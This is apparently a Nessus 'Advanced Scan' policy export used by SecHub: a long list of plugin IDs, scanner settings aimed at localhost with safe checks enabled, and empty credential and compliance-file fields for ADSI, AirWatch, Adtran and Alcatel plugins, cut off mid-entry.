50466;60898;36838;96266;68044;45616;82086;83851;75273;104127;40711;19101;51240;28830;24259;43143;20348;32266;200091;13592;88048;81555;103672;48720;72579;60876;82672;22802;106978;27428;69116;99455;21207;34776;99768;64428;40475;49652;53443;63530;82002;13626;72143;79820;59185;95472;22429;65951;95329;74677;82358;101623;91265;90798;48537;23024;50548;58409;57353;101081;64159;24985;31482;86396;15824;60722;89063;59939;29039;100092;50453;49407;34001;32911;23448;66480;75556;26346;91834;35679;16240;79792;97150;83450;45888;103559;19436;105557;53992;44425;66742;53310;51998;18307;17139;81027;47581;65185;81303;33899;59293;37382;85343;74770;48266;84820;57479;39398;58753;16222;68146;28186;42870;20833;20051;41903;29528;62058;72106;55630;80967;47146;27806;19803;31269;92857;66595;53507;33045;47579;10454;11091;10170;65376;93080;103832;58194;24107;52359;53823;61208;92301;29340;88727;39043;84357;68691;18801;103248;75199;36637;14489;45908;84115;74423;88165;52601;52463;38785;65630;54565;69160;36238;46612;40844;11514;15878;78957;89193;91463;32273;38890;62461;60229;79593;90891;75414;56223;91061;101090;70597;18107;87872;88619;90105;74069;42712;44335;80847;55659;34712;45422;16181;10476;12460;79612;69549;89932;96385;24628;71941;18626;37178;33916;97932;13962;100562;31981;63017;85359;50319;74625;56802;91907;28289;13576;16620;19977;37929;72621;81213;66303;95484;58227;56589;19345;55473;29245;88970;13776;17757;61765;100134;48895;92456;75466;40420;55678;56136;28705;77523;106279;21974;94105;58558;97515;86025;99310;26507;21947;52635;20436;70750;69764;24003;55262;43417;63970;87443;70296;80788;23663;65834;46402;29484;74391;58231;11083;79640;34485;65047;67392;36411;15297;32747;96305;24486;69443;59292;44305;36734;49737;35996;95312;44128;41853;60551;58651;92225;29048;106153;13778;30728;84633;81893;38614;54050;72385;38171;92096;36171;19918;87659;44839;84441;43479;106041;47883;62940;47495;18067;12385;56072;60064;23590;12675;73991;102098;93015;60433;96132;49036;104676;22390;23048;60073;63487;11069;91873;56088;92145;61414;39873;18677;64458;14955;63962;52707;71260;71194;35323;34270;97101;11558;85597;53283;35592;19808;13462;89331;12312;20632;14222;48325;46983;36666;63213;62862;35866;86759;27399;13376;16738;97571;57530;13000;79434;96486;16784;100011;65038;27211;19369;27148;76676;75988;51917;64475;78869;79615;93659;31953;33404;46616;72576;35771;20926;48671;105173;16006;34863;14755;19671;73668;54979;48991;97433;27002;34158;89009;35531;63945;52521;54503;70066;42123;95486;28609;57687;23896;71058;97589;29854;32431;49543;45647;41443;75004;44519;99597;56599;19077;32647;14729;30057;77837;96210;18324;21045;20165;29183;60247;19821;47455;20899;62411;68034;26746;13519;106596;91398;34740;24149;84474;26600;53906;63342;43172;76051;12980;17173;11468;51807;88088;92919;41349;91070;54069;78538;29366;81022;90299;11785;106434;41547;65638;86267;53138;23216;12075;23619;75067;18870;42403;99580;24735;26801;95518;44444;66112;24248;52384;62714;81112;27308;80599;47710;24775;45646;16334;52867;93261;43388;36946;30223;46774;84032;57399;11634;74041;16998;41058;92162;99291;29055;71303;27607;12481;55525;42503;55907;45425;103004;41321;102972;40628;38232;42326;17717;56389;39346;102639;14940;103165;103895;91433;23503;13211;11649;82753;15529;74258;96339;79120;47819;84010;69022;58319;94764;88018;15280;78675;36896;95490;28069;86307;44514;96403;52753;103519;35845;74365;86974;27530;65912;91525;93224;37400;101692;21920;42115;34926;88679;92636;91320;79852;52531;97184;93916;75928;35822;68820;61933;74165;106439;62390;69336;15517;105124;85300;89006;48184;64596;63542;30398;79282;42053;11119;55445;30031;46222;40173;99671;60744;100036;74896;200049;52673;106170;47073;72873;84187;15811;33307;65288;10086;97274;36765;96610;200031;19758;12028;10112;104158;39864;48850;93064;23640;52102;41784;89478;61957;90211;61051;47877;36675;25180;46142;41143;44110;66099;52362;62512;54894;61345;16254;91176;63056;50956;100577;55028;106701;102808;59695;40129;33481;22009;56098;30656;95468;30240;48605;75859;29321;55585;25134;59602;32399;30824;29616;90564;30232;33046;72510;38369;13621;91401;48172;62131;64789;26051;87751;67652;35100;91651;79002;66084;90371;41984;63872;33149;73146;63435;61608;13089;59029;37933;16188;16630;62505;56095;53604;90864;89680;19938;57692;46086;77229;49949;104084;89989;83451;47250;41798;71490;77895;61583;36661;50145;20775;62664;55225;42603;22364;41059;104952;41292;105407;17250;27485;18609;22073;60005;20536;75559;40208;84888;25378;66474;53479;99806;80025;57211;59023;53962;77450;22707;54399;40698;77996;104898;75497;27234;90651;65215;30219;36377;63494;22821;92609;82327;80837;49544;32698;28362;39334;106406;63200;47101;41864;38377;75153;62712;24933;89203;81327;37622;20605;41297;97425;12902;51442;79163;46904;58463;65366;27218;22954;17395;56731;91296;59559;36699;36304;74445;52537;97518;22219;73125;93933;101212;26758;95805;79554;29300;59359;78630;37973;48405;94603;92849;65557;54794;48581;69456;43912;23162;82382;15737;36428;28282;85845;16404;68967;50491;74152;75424;106622;51234;42595;31761;64755;85679;60187;99384;54249;27870;19579;21360;31956;48776;39636;28682;61110;93810;21247;73536;49224;62967;13866;11903;51004;62814;79319;63813;31436;42014;11830;35731;55337;30353;48752;17249;27883;83189;88632;12616;65828;92525;29193;43749;65878;106001;90451;17829;39428;96367;90644;76713;92395;38278;64292;74651;96954;60768;76236;15905;69436;39861;53929;18050;17087;46141;65169;58498;42919;13005;72180;104712;102064;46650;89103;23520;68064;80049;39609;84128;83657;81121;85550;33998;72399;31535;29030;42248;41039;10171;74059;105066;71146;33713;20181;90349;86167;48848;10727;85059;82830;101950;93360;34003;99839;94093;25579;37051;57476;54538;10987;57264;40632;38724;41725;79647;58960;76810;67245;63446;95464;68334;25755;104103;39469;29746;85561;15317;30535;106071;59347;30878;51761;13551;39809;65738;17554;96086;51034;106929;56610;38364;95932;76788;73564;40283;97215;13359;67610;54415;102142;58962;15075;35008;58937;40822;63401;78652;97770;60959;62919;27081;80438;18105;40906;13829;37046;33658;41506;76783;36494;96754;85140;46388;85733;25667;22819;70902;54690;18264;11144;50958;72262;27851;105356;19164;19290;54411;11006;87065;94717;34299;102768;82376;88656;99237;84289;94206;29759;46213;29226;50830;87826;36072;14327;15155;11322;68693;65643;106489;15813;53548;84004;84047;18906;106342;19547;101589;40027;76516;29884;94350;20398;63576;45918;87206;52982;49162;73672;24371;78202;53432;95745;76306;57076;96083;89920;58136;99527;32245;18018;104092;101247;25693;35631;93422;96203;11703;37740;41507;106967;77388;69333;27660;53939;45459;54956;73910;78500;86899;20202;63653;33357;32547;88000;15623;58361;101457;26597;55577;46447;64092;57196;59979;79516;49555;86458;73198;95327;68780;16402;62352;33368;45155;103324;45665;92437;81208;21565;80893;50442;94974;38426;70981;71160;38310;34898;69990;23340;68106;56711;80029;26888;103845;94977;89869;43573;72488;59456;60790;54949;60447;72138;89225;21372;20834;28518;14399;67621;14611;28791;25735;34919;75745;76655;24838;82920;53673;35009;103189;87753;103231;46346;35741;33702;25407;100532;70299;23565;78928;95618;56165;72016;92172;47676;39731;62539;40858;34175;81984;80499;53718;80216;16771;81368;76936;42614;13821;71893;70413;17233;80512;83727;52508;33020;35390;24275;43062;15696;38778;55778;40805;99917;65523;18716;20627;104235;70430;38749;54804;106586;64187;64694;88030;70770;86091;66582;66279;42169;86996;62810;13467;19731;15818;34444;48657;43144;22000;21804;55691;37744;36374;33133;69693;30354;68215;80201;100837;76107;69412;55767;22699;85887;16797;43925;77406;79674;74304;25235;56616;71985;49317;56556;66886;16327;15031;57434;17349;63263;83531;31685;45623;45476;91889;61686;69634;28018;90020;58901;92131;74383;47180;20408;78926;31623;65979;78923;92845;106791;41541;97845;44880;91700;93031;28420;31120;16378;56651;53203;39362;95023;64485;77309;103364;44297;59464;89643;89393;93436;56148;104369;55977;70823;74673;63526;40531;96770;23711;31317;78265;62107;62980;33463;11478;26519;76753;28272;32971;95889;93349;59357;63839;84924;16739;95890;85310;20054;94800;64555;29650;45509;65520;101534;10023;99776;23251;86085;48359;101357;42579;27478;97550;18681;27338;26662;90348;73693;81581;45271;11403;20251;91293;48413;63680;83569;79556;16132;20659;79739;48650;26952;18011;85285;54048;12370;23494;71143;104517;58934;73708;36196;37050;104732;17692;87971;45875;83723;71317;36401;69208;17735;88857;32738;61204;29726;104437;63461;60321;92885;103363;37745;81045;51954;43937;104320;77708;103900;21262;45077;59637;56324;93204;85157;58675;78561;86693;81353;93867;24902;79284;51583;66161;30702;101046;93229;24987;80724;105232;73120;19903;55763;65751;56663;67147;51826;72409;12053;101960;70535;15164;72733;91628;15495;23702;23467;82263;84448;49547;37384;92058;76803;29833;89255;67921;22203;21374;100188;104901;74740;16651;33926;11278;77458;48287;19351;53267;105416;58120;65136;12785;40970;61921;103981;64254;35593;67507;70036;11658;34851;73416;58262;83800;38811;59583;28477;105236;19165;86192;65997;88431;74310;32056;25065;101468;50189;35897;54868;20062;71904;47266;106482;101605;86827;78075;18839;43274;95699;45435;95930;40617;21154;45633;41377;102520;79594;19353;97104;39635;36974;23008;13688;67977;15146;24968;37375;11148;86884;18004;76996;88976;33270;36612;95848;84113;17481;41802;70657;79479;82325;43923;107016;106782;37466;73675;11015;35296;64410;42158;11042;44287;21055;104429;80815;73814;32728;47795;90441;86653;43311;59077;34319;57337;78548;90190;70313;61030;52750;24477;63124;81126;43482;71132;23783;80380;106327;25451;95778;37075;77259;51881;80303;19597;101074;68205;85727;102839;90667;37483;84841;59741;56097;97757;76392;43486;28895;27208;101503;54731;13220;67872;21201;44601;89413;79293;36440;31492;75592;59315;53454;28154;103948;81602;37532;105989;84302;96781;52303;13308;20291;105257;93898;32792;38646;81795;13568;47753;86217;99800;20003;26601;22884;66593;33763;55515;52141;73641;76233;36113;104031;71107;89179;41821;101230;60326;26122;71586;101612;41933;38909;21539;49503;103327;40299;69782;53396;79149;96092;84611;67491;39395;39500;88569;45047;75205;35110;87229;65567;48346;91162;27735;106911;18040;50144;19241;68807;56510;28784;62194;99550;90842;70104;18420;77491;27323;74122;104229;89644;47437;67073;30636;63153;80784;92047;18312;46680;85133;40753;43207;100748;35457;102728;83722;90429;87299;67804;77003;58527;28229;34630;64521;66436;19631;36614;37918;11495;63021;74803;93770;12284;79237;95360;104519;105829;32779;16377;64484;58929;29259;103456;23084;46334;26336;71309;68304;106150;96159;53492;46858;80075;60235;42830;36757;73467;65864;10848;24589;43142;39213;106604;31123;59235;18666;69974;34723;15036;29367;75359;19406;57978;16626;101599;53832;42093;83847;55869;43698;51045;12841;67692;72904;106856;46399;96395;75481;105201;86023;43474;37335;51130;20350;61374;82509;42641;94043;42134;102473;69774;80799;95450;56391;106082;70956;63488;62418;14832;19336;25661;51267;45485;106066;69409;41612;46107;18098;100267;27245;53162;81592;46091;29404;105091;80543;74973;24842;29647;87953;35561;44962;57863;86061;78435;86987;44126;32998;41119;35814;77146;52369;200006;72041;60473;50476;70995;97672;48642;35360;62643;43414;46254;30103;87722;51448;21934;80783;35977;101875;54492;41406;54846;24622;82819;11301;87980;27713;53427;25809;61187;86610;11481;30941;57024;55859;80910;101836;31295;59782;50268;71456;92181;45708;106625;10806;18678;10135;65373;20533;71168;82875;43562;30614;31721;32768;30037;61172;21493;25864;54158;38435;49634;12512;67845;57668;69575;37656;81909;69695;24994;101716;34371;75582;96831;34496;97686;77419;23564;55347;88407;82383;32590;73399;45132;29009;28726;21100;13771;46577;35164;14900;53536;86171;25167;21401;94856;83564;46326;27600;102342;43653;35541;72280;58375;36022;92639;11798;76930;89364;43322;28722;78198;33596;86843;78246;10977;24531;30293;91159;90106;70839;27704;41404;67137;66687;86793;57061;19404;82297;21436;45323;27832;68620;200128;54981;39143;29515;101760;40170;64826;53405;66068;14375;83147;46642;13305;57330;31217;104808;19248;55561;44993;62869;48673;38496;30800;73888;72480;107070;53315;70523;65479;57246;21709;31333;89870;63383;55348;27994;47712;26865;82630;40372;40649;105412;97243;65949;57496;57208;88892;65596;103131;102853;60302;37415;61382;52941;65270;43600;16669;17299;44845;46534;44144;70594;55098;94052;32194;82185;52083;67289;30030;85033;88665;71660;86547;25207;32437;41663;61191;70456;12449;36081;106239;58526;17977;89282;74666;73002;35929;22290;93368;71833;99452;39649;81919;86688;52569;29322;102510;85894;28463;76907;36723;62014;39176;101670;37993;18866;73565;19698;86868;81772;10264;90544;72773;61288;68619;62875;31710;35836;18288;49745;72008;97412;96891;71779;62549;15145;30513;49880;20740;103741;31521;81087;11288;90790;52704;53251;103112;77984;44428;95663;55753;90308;70398;72046;63241;22052;27733;52422;86297;30574;33017;66664;77076;68180;78879;78058;75899;20734;37765;79023;16045;30484;88391;52480;67402;54637;42447;45267;78234;43075;97356;28865;83049;97767;92488;25675;79451;70645;27140;32338;50743;74264;83520;23659;105193;21226;46993;73804;65827;54259;105998;62330;79155;38245;101855;31112;37167;96068;106039;103716;75878;57680;40244;83959;26379;35912;92736;59495;27193;92719;10453;81992;27142;102150;74765;23706;81322;20540;58258;72144;67259;84336;77976;101168;96893;92104;85439;95550;72564;37471;105940;65375;33212;67643;36999;84021;15484;68779;84740;44603;39425;11760;82754;96358;68595;46690;47295;20586;20032;12942;38787;70871;16004;72783;31825;80467;57670;92457;63695;60092;12302;101472;89394;59310;74328;71878;38895;106730;44885;77332;28358;41687;57295;18345;70674;95710;18154;88412;61805;86039;59295;81731;24724;32722;47765;39777;71480;22641;67063;24784;79780;12443;18341;48975;77822;38984;20770;81038;103799;15715;36638;57849;69050;105653;94293;74026;73940;22368;26533;64767;104222;11567;43765;48729;61097;40522;90639;28758;65870;105960;70376;14924;102272;59822;78422;63586;38630;43935;18031;21431;18836;92876;51752;32983;77774;83490;22307;70261;76383;39576;66212;42890;42628;18440;17676;89781;81057;100891;54371;30239;94544;22040;88974;102437;43193;97038;65901;88915;29159;49007;22383;87095;26935;20883;75661;13093;59849;58725;103461;80421;53082;92733;41245;67122;78728;77099;13482;71826;27594;30043;23300;70072;33128;85792;43781;38417;93310;80666;86597;74981;65731;24137;45444;17823;14020;68139;101675;70819;58080;102216;103666;87696;31316;103683;75959;105572;69596;104484;50801;27448;74389;104094;92406;63559;102108;107004;40779;72092;92472;70980;38169;42284;70379;23052;84892;77550;105385;90226;35315;99159;70683;83159;57335;105900;50103;29816;72872;105150;49063;74907;20423;86060;79913;40019;67295;38353;73855;85015;101206;93179;97814;106168;45154;83933;56547;81443;41758;10670;62744;105880;32766;45080;97696;96554;77903;46315;12818;89398;43434;67561;83072;76777;75981;42394;40125;46297;52479;95346;102180;63217;93891;31992;93945;82539;44720;62523;26993;59704;38980;80016;104483;47067;19682;63555;41550;40015;101225;69965;90029;55386;79436;30220;94279;20151;66176;40186;87252;18239;17995;105080;69799;100854;82390;106164;51609;89052;67077;39054;56634;44639;37986;32978;29154;66871;51595;11442;44847;99735;97292;41848;100831;55487;61594;104439;14800;61391;97718;52827;101886;30068;20306;31996;84527;37503;61652;30837;56614;99103;26229;37393;71539;31271;78934;14118;106877;44432;99524;26069;23761;49106;26033;45163;50513;84716;71613;47347;77511;52103;30303;77909;89648;56271;70102;56262;52184;39554;16216;23660;42016;92467;81955;102816;10591;27716;10048;82848;27575;92943;25376;39688;77711;95807;38743;44194;39734;100700;66304;103986;31684;81401;53475;59211;12611;46465;11596;37630;100176;92790;47744;78530;104686;99786;93161;34354;25777;42672;86168;53679;55908;35804;27290;100354;106543;20567;71745;21116;47419;36444;32293;47329;13594;13094;44116;57361;80876;49378;56562;79035;46303;67827;69139;65853;54902;53309;22829;74675;86618;38485;85301;15569;95594;78144;83144;26073;38375;87284;200072;92892;39215;55017;52297;68360;80180;35852;104803;95871;57745;46138;31679;71455;64954;53088;104124;25037;13536;14744;52325;56605;39887;24219;16667;42798;59484;80117;61332;61808;42674;58445;79290;79287;14508;46012;23136;99351;77576;100931;200106;92158;32949;106353;104905;44088;68352;57258;96827;71594;85049;76712;39744;72454;56350;91461;52864;54282;48261;20205;18470;68401;11891;26228;85048;72007;80811;73959;53254;68525;44715;99573;39403;13216;42599;65166;86568;29557;48721;41901;58923;17027;92574;80288;63974;39939;25137;96905;14084;20108;79548;14135;90697;106096;78444;71600;60825;55208;55923;22538;85717;19695;92901;31398;23102;84546;15485;33959;70428;66521;87733;78777;62003;69555;16527;71560;87866;17723;91974;102312;75845;76806;56625;58622;73414;59478;95295;99468;60706;200021;39354;56797;67698;102007;22746;47580;41150;75061;48291;77703;40952;66302;57822;65823;40534;106173;38383;64274;22779;99708;87756;10266;25586;79547;75135;33492;34567;63554;200079;102455;72786;43589;41360;42048;69266;86513;42232;23546;22214;48355;11686;69500;78164;12492;33021;90272;13007;77757;22101;62060;15276;50337;75712;68187;53181;103087;42361;37522;26550;23744;73293;17281;92907;80651;50812;14592;15367;33721;77852;48352;39375;58303;30997;89224;76165;69579;83367;55442;27108;26705;85822;42571;11245;14560;58068;74686;94261;96347;79716;23295;60883;48623;91121;100536;96607;20214;81847;44778;65243;68939;66604;60510;16458;73042;13705;106491;13312;34058;62320;90353;62215;21659;95698;47861;70678;20404;72079;88144;22602;75451;29206;82378;61579;22580;43691;23093;80439;14668;200023;48220;26344;72901;67569;20467;17111;43559;30524;55604;92414;37124;24097;36474;96414;78371;89740;105714;37257;68197;67959;22482;33502;47020;23148;94204;55901;93631;106405;78165;43477;68481;11474;50392;70885;69031;56004;24380;81305;40111;49584;100099;103784;53018;89654;57409;77581;52824;56912;96435;23131;60094;104665;79979;37133;38214;70304;23127;65173;83824;64944;75210;33828;90337;53225;34666;36571;94506;63905;46648;26936;14902;45658;58195;92205;29334;89756;40686;74748;56706;50643;39370;16266;65422;76607;43832;20910;50038;94482;106853;91222;93304;62331;66669;46229;79509;14052;94616;63031;21834;34635;70580;49940;103539;52780;62090;73489;26014;20445;101908;69953;59530;94852;70426;16809;19050;41052;57311;14915;73577;58668;14987;38018;92651;71731;12907;86751;44500;87919;85257;83475;34414;84352;49633;59991;89829;61296;66545;74934;21668;67088;21811;46872;37543;52363;26444;95358;21568;78972;78493;105468;46002;104325;28436;22830;65548;35221;83323;61737;63724;60899;76751;96559;39008;61616;27325;40884;31850;66234;63651;60755;90711;30100;23502;75380;22423;39716;10763;28926;69122;24580;66837;41255;94727;40519;62453;94189;78984;69985;104386;48490;50021;26768;101017;21168;66260;21214;43895;69032;22167;16394;79251;60578;62480;60017;26909;58351;49423;23539;89909;27715;99617;26700;58849;85540;79368;18779;101393;80633;32099;28123;100121;21298;79949;58942;53766;12939;31718;70452;22877;19332;34725;91838;49044;37822;85608;31275;103139;95693;104851;39868;50507;20287;46717;45185;60817;57748;74692;105752;106801;22858;79693;90365;37777;15690;21689;68350;24898;14626;41830;56397;27710;46841;61115;200102;81492;69536;37102;75446;65071;35742;64398;62083;54486;104173;64827;13995;57364;74930;10124;29351;95000;59644;72907;62088;47426;15329;59937;96595;54661;53220;72489;44666;44067;93845;25678;79577;52032;48649;73490;26800;46190;52595;77861;106882;104907;25148;86862;36870;67638;14775;36769;77446;99046;36189;44248;73400;83662;85953;28736;41116;37681;84401;20405;61243;63379;71136;80935;13170;89498;43520;67431;100718;89351;55599;75833;22296;38620;51593;50664;85695;34475;79042;106015;34672;48820;76080;18720;21537;68667;17553;90741;80451;33010;47884;38957;91578;12794;84462;58597;19696;29770;97749;101277;19818;46721;56379;49606;106640;32463;30192;92413;47793;55960;21936;12064;99429;15498;89154;82134;53424;30406;103514;87079;74663;38936;31099;24367;78372;82100;12849;74009;18826;15271;31471;66137;20852;83036;43536;75052;30009;75253;66180;15060;48544;30560;96090;72924;88682;90692;86131;20792;30040;46860;89465;71060;35987;96613;12511;69232;54466;32899;36674;14366;99682;36668;84559;43010;95387;45453;45939;106377;40130;95867;99763;105508;104394;34986;12903;33942;27483;28847;89918;29002;67562;58517;80757;94454;74898;89513;39245;46914;45144;21371;17161;61040;19287;76257;75492;55059;13692;72851;69631;104459;49081;28168;53105;40904;101713;54533;49192;78560;45957;13615;95588;91472;13058;29521;99732;71796;58755;55492;20998;30202;22105;43879;78031;88499;24440;63893;11675;50146;92318;16015;50758;56188;38718;69524;91781;14602;27049;62227;18819;38572;75864;22346;95874;83349;41646;42964;104262;56882;78282;90067;42923;105011;22789;29022;76697;104820;33489;28854;67483;50516;30979;63644;16547;26225;91235;50371;44414;89805;71771;78134;19685;58127;43933;35703;21967;29181;13489;68557;200065;105391;64235;73790;14609;91534;20327;55555;66956;104019;49257;71611;67616;66292;63237;81696;26739;94736;23247;106647;104722;89944;41873;65041;26143;27567;78556;100038;91177;10134;18706;97806;35753;48804;47060;85682;34109;13054;18084;89978;20814;21019;94768;45707;105649;85254;19971;15966;12607;18815;16694;13181;21221;66626;64399;105516;60730;31616;47357;33839;10911;51971;34613;71682;34197;82163;57140;90956;37661;59234;26374;25154;65404;14610;50209;100279;28679;102144;42209;27674;36314;21235;100955;11586;62274;100682;68348;58007;67055;74797;21072;68813;61894;71403;59511;41504;26791;74812;52544;44197;106883;78218;80440;104288;74321;24165;94141;50951;87491;94693;21279;29423;74349;65302;60576;92208;71418;29038;81502;34982;25391;70374;15783;106679;100784;95372;104575;84008;18032;43333;71278;24999;47370;104814;30262;14683;83090;48219;107083;61965;51389;58790;77158;85714;35190;76605;56078;56931;62495;85787;92186;27763;59182;77885;86906;90111;67800;17523;18623;54440;28780;40388;64161;63518;76261;103730;100453;51774;39841;63619;75869;29308;69786;69832;19091;39114;20519;95478;26588;83256;49133;21527;67048;50606;12741;24368;24760;45235;90532;68260;59117;94588;57617;17267;59113;34357;18304;37015;51331;54183;22711;61871;85954;79152;43230;27174;71634;46116;100154;54618;103569;33460;93495;99737;72577;20991;77323;66466;62581;49701;95852;100313;14922;54255;36941;19037;42878;10022;17392;101235;65465;65108;67790;15611;97987;101469;75945;93946;105959;35547;13454;30388;73613;94982;18584;78705;67202;79826;64673;101364;26881;26638;85425;54204;67503;62688;106095;96420;25640;31339;25749;48431;11363;85460;32954;99138;40932;40036;64505;87749;49627;28759;93125;86173;54864;18202;84218;79781;32093;12278;23872;12580;71592;70055;49979;58143;103596;41241;29338;11720;63911;11577;52454;74124;31978;64761;46644;99865;37632;100631;47231;44122;60938;67847;59111;74461;15382;48301;30042;62541;11906;51087;26749;34516;99198;82489;37720;70849;105692;53831;47898;21758;96371;50867;21879;55269;16298;71244;52473;57167;20366;39773;106300;42500;22084;33344;25409;18867;81983;45055;37340;50824;90263;76040;46211;37412;66903;69317;57769;52268;80017;86853;90126;64321;17237;99698;40978;78161;47704;106147;31775;106563;200103;11131;92492;20779;68253;58446;49506;85638;62538;65786;62925;94530;31193;11058;10435;85404;16617;94162;31451;101307;40024;96421;103584;45533;68978;10538;28294;53848;35766;61909;63571;25728;100321;65235;49774;65989;59251;83255;86197;28284;16550;70862;95011;73257;40116;91004;52305;18246;70563;76221;56128;93967;21206;85029;105345;79663;72704;51268;10637;83175;41496;19326;72487;104987;17352;15196;85895;18763;61381;104102;61262;21479;76420;63174;27079;90074;74621;49587;20855;97094;101572;87072;104700;34119;84606;25412;64943;76125;29123;78868;71694;81011;65764;58677;84745;72637;100749;100210;83674;18232;34096;35318;85603;60012;13230;84736;76527;100020;72047;47228;99169;27989;33572;64417;86814;29446;36016;63260;33387;57027;62318;32704;82847;83980;72030;65745;105749;41505;90476;23665;28625;70189;40260;77560;80369;18438;59964;11327;17434;12559;39388;102564;59653;21724;86161;72141;96979;97345;23397;51877;60663;56178;59733;80289;77785;101551;29621;24611;48567;25139;66060;105729;20320;94860;83881;22992;53223;25596;17500;97952;32888;34784;16420;25147;87331;22548;75098;26005;96916;78194;27431;40078;32157;19313;20138;63261;76504;23759;106322;63346;35502;12472;10953;83191;103890;62323;12737;18375;91424;96023;54676;51760;19707;106599;28300;45846;77718;76477;59678;69783;103303;49670;83169;97055;35536;74118;90496;88610;17506;31611;63321;101525;74196;36550;72253;54237;64002;97907;61402;97525;84192;48525;13432;56252;71126;89530;29483;21742;47324;20827;40144;104447;55951;80897;105324;63956;63214;90030;66457;38521;44934;35073;38612;64659;35361;95611;80590;58543;49720;78996;21376;42244;96713;28778;95839;93146;11931;52679;18325;94644;20233;67247;61341;92856;21349;48632;30770;60423;17714;19191;33537;104056;101504;62641;26840;89624;104772;101035;86954;66824;20056;102767;79497;81413;16271;27305;78960;66014;68729;91290;33145;48573;101316;83361;64765;92994;77185;50900;71164;76524;26630;59572;64996;45026;10735;84528;33236;67781;30446;104647;104727;92528;82833;96341;48611;49064;34421;19390;107028;64111;10959;59788;56633;53983;32309;53800;68711;74251;90197;14682;95700;106021;89001;33670;35374;75953;70744;48614;37816;16287;28849;79519;81558;106878;31564;79664;30269;107071;87675;67500;97118;20679;51728;83856;71799;24498;79926;75443;20112;69461;75998;88644;31628;63702;27990;40669;40151;101884;19900;44945;46170;23953;79838;53478;97135;49480;58603;90062;14045;14237;93817;49757;87734;44745;12753;95481;31713;45873;28412;25251;34925;18755;77162;76462;96710;70905;42030;69492;13865;38495;39223;20841;75606;101730;22866;52810;66583;56794;46484;27972;15651;66603;69652;41726;30238;104719;34466;44422;74943;104049;101601;29841;84640;82726;55279;30274;67226;90803;69374;103987;92326;63089;56314;75465;28935;86730;82950;46758;50742;56011;42271;65403; + +TARGET +http://localhost + +throttle_scan +yes + +listen_address +0.0.0.0 + +non_simult_ports +139, 445, 3389 + +slice_network_addresses +no + +ssl_mode +tls_1_2 + +max_checks +5 + +stop_scan_on_disconnect +yes + +report_crashes +yes + +xmlrpc_listen_port +8834 + +report_cleanup_threshold_days +30 + +name +Advanced Scan + +description +SecHub scan FALLBACK_TRACE_ID#526768485076813 + +whoami +sechub + +scan_description +SecHub scan FALLBACK_TRACE_ID#526768485076813 + +optimize_test +yes + +log_whole_attack +no + +ssl_cipher_list +strong + +cgi_path +/cgi-bin:/scripts + +auto_update_ui +no + +use_kernel_congestion_detection +yes + +auto_update +no + +listen_port +1241 + +checks_read_timeout +5 + +plugins_timeout +1800 + +auto_enable_dependencies +yes + +safe_checks +yes + +report_task_id +b2a6f1ee-7f52-1e41-7965-2d2eaf0c1e922b157c5b5e8b8799 + +allow_post_scan_editing +yes + +stop_scan_on_hang +no + +visibility +private + +wizard_uuid +ad629e16-03b6-8c1d-cef6-ef8c9dd3c658d24bd260ef5f9e66 + +max_hosts +100 + +plugin_upload +yes + +reduce_connections_on_congestion +yes + +feed_type +ProFeed + +silent_dependencies +yes + +port_range +default + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller : +Domain Controller : +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain : +Domain : +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username : +Domain Username : +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password : +Domain Password : +password + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller 2: +Domain Controller 2: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain 2: +Domain 2: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username 2: +Domain Username 2: +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password 2: +Domain Password 2: +password + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller 3: +Domain Controller 3: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain 3: +Domain 3: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username 3: +Domain Username 3: +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password 3: +Domain Password 3: +password + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller 4: +Domain Controller 4: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain 4: +Domain 4: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username 4: +Domain Username 4: +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password 4: +Domain Password 4: +password + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller 5: +Domain Controller 5: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain 5: +Domain 5: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username 5: +Domain Username 5: +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password 5: +Domain Password 5: +password + + + +AirWatch API Settings +76460 +AirWatch API Settings[entry]:AirWatch Environment API URL : +AirWatch Environment API URL : +entry + + + +AirWatch API Settings +76460 +AirWatch API Settings[entry]:AirWatch port : +AirWatch port : +entry + + + +AirWatch API Settings +76460 +AirWatch API Settings[entry]:AirWatch username : +AirWatch username : +entry + + + +AirWatch API Settings +76460 +AirWatch API Settings[password]:AirWatch password : +AirWatch password : +password + + + +AirWatch API Settings +76460 +AirWatch API Settings[entry]:AirWatch API key : +AirWatch API key : +entry + + + +AirWatch API Settings +76460 +AirWatch API Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +AirWatch API Settings +76460 +AirWatch API Settings[checkbox]:Verify SSL certificate : +Verify SSL certificate : +checkbox +no +no + +Alcatel TiMOS Compliance Checks +102730 +Alcatel TiMOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Alcatel TiMOS Compliance Checks +102730 +Alcatel TiMOS Compliance 